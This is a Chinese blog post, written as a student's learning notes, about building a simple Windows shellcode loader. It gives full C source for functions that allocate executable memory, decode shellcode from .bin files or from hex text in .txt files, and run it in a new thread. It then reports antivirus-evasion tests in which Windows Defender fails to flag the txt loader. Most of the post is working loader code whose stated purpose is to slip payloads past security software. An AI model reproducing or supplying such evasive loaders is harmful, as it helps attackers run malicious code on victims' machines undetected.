「星球投稿」Simple-Shellcode-Loader学习

简介: 「星球投稿」Simple-Shellcode-Loader学习

此篇为投稿文章,为知识星球内一位刚上大学的小伙子@Muxue投稿(国庆假期小伙子们的学习劲头值得表扬)

在我指导下协助其解决了一些问题后,让他记录了一篇文章,潦草了些,但是我觉得也能帮助下基础薄弱的同学,所以将这篇记录发出来。

最后再表扬下@Muxue同学

为了保留小伙子的原汁原味,下面是原文我未作改动,并保留了一些奇奇怪怪的语气词。

前言

   之前的东西,加了个功能又学到了新东西,练下代码;这一篇都非常简单!!!这垃圾代码再改改,硬编码下字符串、隐藏下WinAPI等,肯定效果很更好点。

开冲

就是简单的三部曲

  1. 申请内存
  2. 写入内存
  3. 然后加载
VirtualAlloc() or VirtualAllocEx();
CopyMemory() or WriteMemory();
CreateThread() or (*(void (*)()) shellcode)();

还有很多类似的这种...

ExecBin

这个就比较简单了

  1. 从文件中读取
  2. 然后拷贝进内存
  3. 创建线程加载
void ExecBin(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 CopyMemory(xue_buf, buf, sizeof(buf));
 hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)xue_buf, NULL, NULL, &dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
 VirtualFree(xue_buf, 0, MEM_RELEASE);
  CloseHandle(MyFile);
 CloseHandle(hThread);
}

   通过ReadFIle读取二进制文件,放入到一个变量中,最后把这个变量CopyMemory拷贝进一块内存中, 最后加载执行。

ExecTxt

   像那种原始的shellcode payload,直接整进内存再加载,极为方便所以一些AV看的就比较严了。我就在想原来看人家通过txt加载(正常文本反正不会杀吧),所以有了这个函数。这里和上面其实差不了太多,核心的功能其实就是 读取Hex字符串转换为Shellcode

借鉴于这个项目:https://github.com/DimopoulosElias/SimpleShellcodeInjector

   想要弄明白就调试一下,我直接用的@idiotc4t师傅的demo来做测试了

for(unsigned int i = 0; i< iterations-1; i++) {
 sscanf(shellcode+2*i, "%2X", &char_in_hex); // sscanf格式化输出,%2x以
 十六进制输出保留两位(应该就是取两位),然后传入char_in_hex里
 shellcode[i] = (char)char_in_hex;
}

首先看没有转换的


   可以从内存窗口看出就是单纯的字符串,要是拷贝进内存中,拷贝进去的不是shellcode而是这些字符 串!这是踩了个坑 基础太差

然后接着跟进

可以看出来就是根据字符串转为对应的16进制的数据然后重新写入shellcode里

然后我们再看第二组

   调试出为72 对应的ASCII也就是H,然后拷贝进内存就是对应的48了(ASCII的H转换为十六进制也就是48) 所以这样一个个走下去,一组转换为int类型,然后int类型转换为对应的十六进制,最后就放到对应的 shellcode[i]里

1. i=0,shellcode+2*0,但是取2位就是第一组(1 2) 字符串里的FC -> 252 -> 在内存里就
是FC
2. i=1,shellcode+2*1,就是取2+2也就是第二组(3 4) 字符串里的48 -> 72 -> 在字符里就
是H -> 在内存里就是48
3. i=2,shellcode+2*2,就是取2+4也就是第三组(5 6) 字符串里的83 -> 131 -> 在内存里就
是83
// 但是别忘了我们字符串里的也是16进制的
....

只是找到对应的了,假如shellcode字符串里的是48(hex)就转换为ascii 10进制的72,在字符串中 显示的就是H,但是在内存中显示的就是48(hex)了; 这样以此类推下去 每个取2位然后进行转换,我是这样理解的 有不对的请师傅们指出

   这里放出来转换前和转换后的俩图,大家一看就明白了

   注意看内存窗口 就是单纯的字符串,我们所需的shellcode也没有在内存中,你加载执行的只是这 些字符串并不是所需的shellcode

我们在比对下转换后的

这样shellcode就正常在内存中了

#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
 char shellcode[] = "";
 unsigned int char_in_hex; // 临时变量
 unsigned int iterations = strlen(shellcode); // 整体shellcode的长度
 unsigned int memory_allocation = strlen(shellcode) / 2 ; // 因为在内存中俩个为1byte吗 除2 
  DWORD temp;
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char *xue_buf = (char*)VirtualAlloc(NULL, memory_allocation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);
  shellcode[i] = (char)char_in_hex;
 }
 CopyMemory(xue_buf, shellcode, memory_allocation);
 return 0;
}

这样一搞明白ExecTxt这个函数的原理就很简单了

void ExecTxt(char* file_name) {
 LARGE_INTEGER fileSize;
 HANDLE hThread;
 DWORD dwThreadId;
 char* filename = file_name;
 unsigned int char_in_hex;
  HANDLE MyFile = CreateFileA(file_name, GENERIC_READ, 0, NULL, OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL, NULL);
 GetFileSizeEx(MyFile, &fileSize);
 char buf[6000];
 ZeroMemory(&buf, sizeof(buf));
 printf("Size : %d \n", fileSize.LowPart);
 char *xue_buf = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  ReadFile(MyFile, buf, fileSize.LowPart, 0, NULL);
 unsigned int iterations = strlen(buf);
 for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销
  sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
  buf[i] = (char)char_in_hex;
  }
 CopyMemory(xue_buf, buf, sizeof(buf));
 // printf(xue_buf);
 hThread = CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE)xue_buf,NULL,NULL,&dwThreadId);
 // 等待线程
 WaitForSingleObject(hThread, INFINITE);
 VirtualFree(xue_buf, 0, MEM_RELEASE);
 CloseHandle(MyFile);
 CloseHandle(hThread);
}

   就是把\x or 0x删除(这个功能我没写 我直接从就删除了然后到txt里),申请块内存,通过ReadFIle读取进 来,然后把对应的字符串的16进制数据重新写入xue_buf里,最后ZeroMemory拷贝进内存, CreateThread加载。

测试

最后测下免杀性了

Windows Defender

我擦 可以

   起初我还不大敢相信 又放在downloads下 测试了一遍确实可以,加载bin就不出意外的杀了

火绒

360

以上就是投稿文章的全部内容。

相关文章
|
2月前
|
Dubbo Java 中间件
探寻源码宝藏:介绍开源项目"source-code-hunter"
最近处于金三银四的面试黄金期,许多同学在面试中反映现在要求非常高,阅读源码几乎是必问项。然而,阅读源码时常常觉得晦涩难懂,令人头疼。今天在浏览 GitHub 时,我发现了一个名为 source-code-hunter 的宝藏项目。这个项目从源码层面深入剖析和挖掘互联网行业主流技术的底层实现原理,为广大开发者提供了便利,助其提升技术深度。目前该项目已经涵盖了 Spring 全家桶、Mybatis、Netty、Dubbo 框架,以及 Redis、Tomcat 等中间件的内容,恰好适合最近正在面试或希望提升技术深度的同学参考学习。
204 1
探寻源码宝藏:介绍开源项目"source-code-hunter"
|
11月前
|
SQL 前端开发 关系型数据库
Go框架三件套详解 | 青训营笔记(上)
Go框架三件套详解 | 青训营笔记(上)
112 0
|
11月前
|
SQL 缓存 Go
Go框架三件套详解 | 青训营笔记(中)
Go框架三件套详解 | 青训营笔记(中)
62 0
|
11月前
|
中间件 Shell Go
Go框架三件套详解 | 青训营笔记(下)
Go框架三件套详解 | 青训营笔记(下)
131 0
|
程序员
代码转图片Carbon-高雅程序员必备!
代码转图片Carbon-高雅程序员必备!
214 0
代码转图片Carbon-高雅程序员必备!
|
测试技术 C# C++
AY写给国人的教程- VS2017 Live Unit Testing[2/2]-C#人爱学不学-aaronyang技术分享
原文:AY写给国人的教程- VS2017 Live Unit Testing[2/2]-C#人爱学不学-aaronyang技术分享 谢谢大家观看-AY的 VS2017推广系列 Live Unit Testing 目前支持的框架 AY当前VS的版本---- 15.7.1 打开设置 如果你的解决方案,不包括单元测试的项目,你单击了实时单元测试,虽然菜单栏会有停止,暂停,但实际不会运行的。
1135 0
|
测试技术 C#
AY写给国人的教程- VS2017 Live Unit Testing[1/2]-C#人爱学不学-aaronyang技术分享
原文:AY写给国人的教程- VS2017 Live Unit Testing[1/2]-C#人爱学不学-aaronyang技术分享 谢谢大家观看-AY的 VS2017推广系列 Live Unit Testing AY当前VS的版本---- 15.
1038 0
|
机器学习/深度学习 C# 容器
|
安全
CTF---安全杂项入门第一题 丘比龙的最爱
丘比龙的最爱分值:10 来源: 2014HCTF 难度:易 参与人数:4498人 Get Flag:1366人 答题人数:1384人 解题通过率:99% 传说,丘比龙是丘比特的弟弟,丘比龙是一只小爱神,虽然有两只翅膀,但因为吃多了,导致身体太胖,所以飞不起来~那么问题来了?!丘比龙吃什么食物吃多了变胖了 解题链接: 原题链接:http://www.
1474 0